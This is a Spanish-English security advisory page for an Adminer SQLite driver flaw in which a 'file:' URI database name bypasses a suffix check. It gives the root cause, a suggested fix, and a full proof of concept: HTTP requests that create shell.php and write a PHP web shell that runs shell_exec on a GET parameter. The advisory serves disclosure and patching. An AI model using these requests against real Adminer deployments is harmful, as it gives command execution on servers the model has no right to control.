GHSA-5XFM-7VGJ-3F39
SQLite: check_sqlite_name() accepts a file: URI, enabling arbitrary file creation and RCE
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-5XFM-7VGJ-3F39 divulgada · CVSS 6.8 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Adminer's SQLite driver validates a database name with a suffix regex and then passes the same string to PDO_SQLite, which parses it as a `file:` URI. A name such as `file:/var/www/html/shell.php?mode=rwc&x=.db` passes the check but creates `/var/www/html/shell.php`. A normal `CREATE TABLE` then writes PHP code into that file, giving command execution as the web server user. Reproduced end-to-end on 6.3.0.
Details
Root cause
`check_sqlite_name()` decides whether a database name is acceptable with a suffix regex:
function check_sqlite_name($B){
$Ud = "db|sdb|sqlite";
if(!preg_match("~^[^\\0]*\\.($Ud)\$~", $B)){ /* reject */ }
return true;
}`create_database()` then passes the same string to the connection layer:
function create_database($k, $Hb){
if(file_exists($k)){ /* reject */ }
if(!check_sqlite_name($k)) return false;
$z = new Db();
$z->attach(server_parts(["path" => $k]), '', '');
$z->query('PRAGMA encoding = "UTF-8"');
$z->query('CREATE TABLE adminer (i)');
...
}With the PDO_SQLite backend that becomes `new PDO("sqlite:" . $k)`. PDO_SQLite opens the connection with `SQLITE_OPEN_URI`, so a value beginning with `file:` is parsed as a URI: the database file is the part before `?`, and the rest is interpreted as URI parameters. Unknown parameters are ignored.
So `file:/var/www/html/shell.php?mode=rwc&x=.db` satisfies `check_sqlite_name()` (it ends in `.db`) while SQLite creates `/var/www/html/shell.php`.
The check and the consumer disagree about what the string means: one treats it as a filename with a required suffix, the other as a URI whose path is unconstrained.
Affected versions
Reproduced end-to-end on the current published release:
- Adminer 6.3.0, released 2026-11-03, 584,036 bytes, SHA-256 `641e1a31e8cc333a309e202ef9446e1fd38c2069ed5f9ee509b80d70089d0503`
The same code path is present in 6.2.0 and 6.1.1, so this is not a regression introduced in 6.3.0. Older releases were not tested.
Relationship to CVE-2026-109347
CVE-2026-109347 (fixed in 6.1.1) is a different entry point and a different root cause: it bypassed the SQL editor's `ATTACH` / `VACUUM INTO` statement filter by prefixing statements with a UTF-8 BOM.
This report does not use the SQL filter at all:
| | CVE-2026-109347 | This report |
| --- | --- | --- |
| Entry point | SQL editor (`ATTACH`) | "Create database" form |
| Bypass | BOM prefix versus statement regex | suffix check versus URI parsing |
| Guard bypassed | SQL statement filter | `check_sqlite_name()` |
| Affected | < 6.1.1 | 6.1.1, 6.2.0 and 6.3.0 |
Preconditions
- The attacker can log in to Adminer. Adminer 6.x refuses passwordless logins and expects the administrator to configure a password, so this is authenticated, not unauthenticated.
- The PDO_SQLite backend is in use. Adminer selects it when the request carries `ext=pdo` (`?sqlite&ext=pdo`); this is a URL parameter the requester controls.
- `pdo_sqlite` is loaded and `open_basedir` is not set. PHP documents that `file:` DSNs are not supported when `open_basedir` is in effect.
- The target directory is writable by the web server user and `.php` files in it are executed by the web server.
Suggested fix
- Reject names containing a URI scheme, `?` or `#` before building the DSN, and do not enable URI filenames for this connection (do not pass `SQLITE_OPEN_URI`).
- Resolve the final path (`realpath` on the parent directory plus the basename) and compare it against an allowlisted directory and an allowlisted extension, rather than matching the raw input.
- Apply the same treatment to `rename_database()` and `drop_databases()`, which use the same helper.
Proof of concept
Environment: PHP 8.4.27 NTS (VC++ 2022 x64), `php -S 127.0.0.1:8081 -t web` (SAPI `cli-server`), `sqlite3` and `pdo_sqlite` loaded, `open_basedir` empty, `disable_functions` empty, web root `web/`.
- Log in with the SQLite driver and force the PDO backend:
GET /adminer.php?sqlite&ext=pdo
POST /adminer.php?sqlite&ext=pdo
auth[driver]=sqlite&auth[db]=test.db&auth[username]=<user>&auth[password]=<password>- Create a database whose name is a `file:` URI ending in `.db`:
POST /adminer.php?sqlite&ext=pdo&username=<user>&db=&database= HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=<token>&name=file%3A%2Fvar%2Fwww%2Fhtml%2Fshell.php%3Fmode%3Drwc%26x%3D.db&collation=Response: `302 Found`. `shell.php` now exists and is an 8192-byte SQLite database.
Negative control: the same request without `ext=pdo` returns `Unable to expand filepath` and creates nothing, because the SQLite3 extension does not enable URI filenames.
- Select that database and create a table whose name is the payload:
POST /adminer.php?sqlite&ext=pdo&username=<user>&db=shell.php&sql= HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=<token>&query=CREATE+TABLE+%22%3C%3Fphp+echo+shell_exec%28%24_GET%5B%27c%27%5D%29%3B+%3F%3E%22+%28x%29%3BResponse excerpt:
<p class="message">Query executed OK, 0 rows affected. <span class="time">(0.003 s)</span></p>The schema text is stored in the database file, so `shell.php` now contains `<?php echo shell_exec($_GET['c']); ?>`.
- Trigger it:
GET /shell.php?c=whoami HTTP/1.1Response excerpt (binary bytes elided; the command output appears where the PHP block was):
SQLite format 3...
... table HOST\USER
HOST\USER
CREATE TABLE "HOST\USER" (x)`HOST\USER` is the output of `whoami` for the web server user, redacted here. This confirms shell command execution in the local test environment.
Impact
An authenticated Adminer user can create a file at an arbitrary path and with an arbitrary extension inside any directory writable by the web server, write PHP code into it, and execute commands as the web server user. Where Adminer is reachable and the web root is writable, this is remote code execution with the privileges of the web server.
Scope limits: a valid Adminer login is required; the PDO_SQLite backend must be selected (`ext=pdo`); `open_basedir` must be unset; the target directory must be writable and `.php` files must be executed there. This is not unauthenticated.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistvrana/adminer |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/vrana/adminer/security/advisories/GHSA-5xfm-7vgj-3f39Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
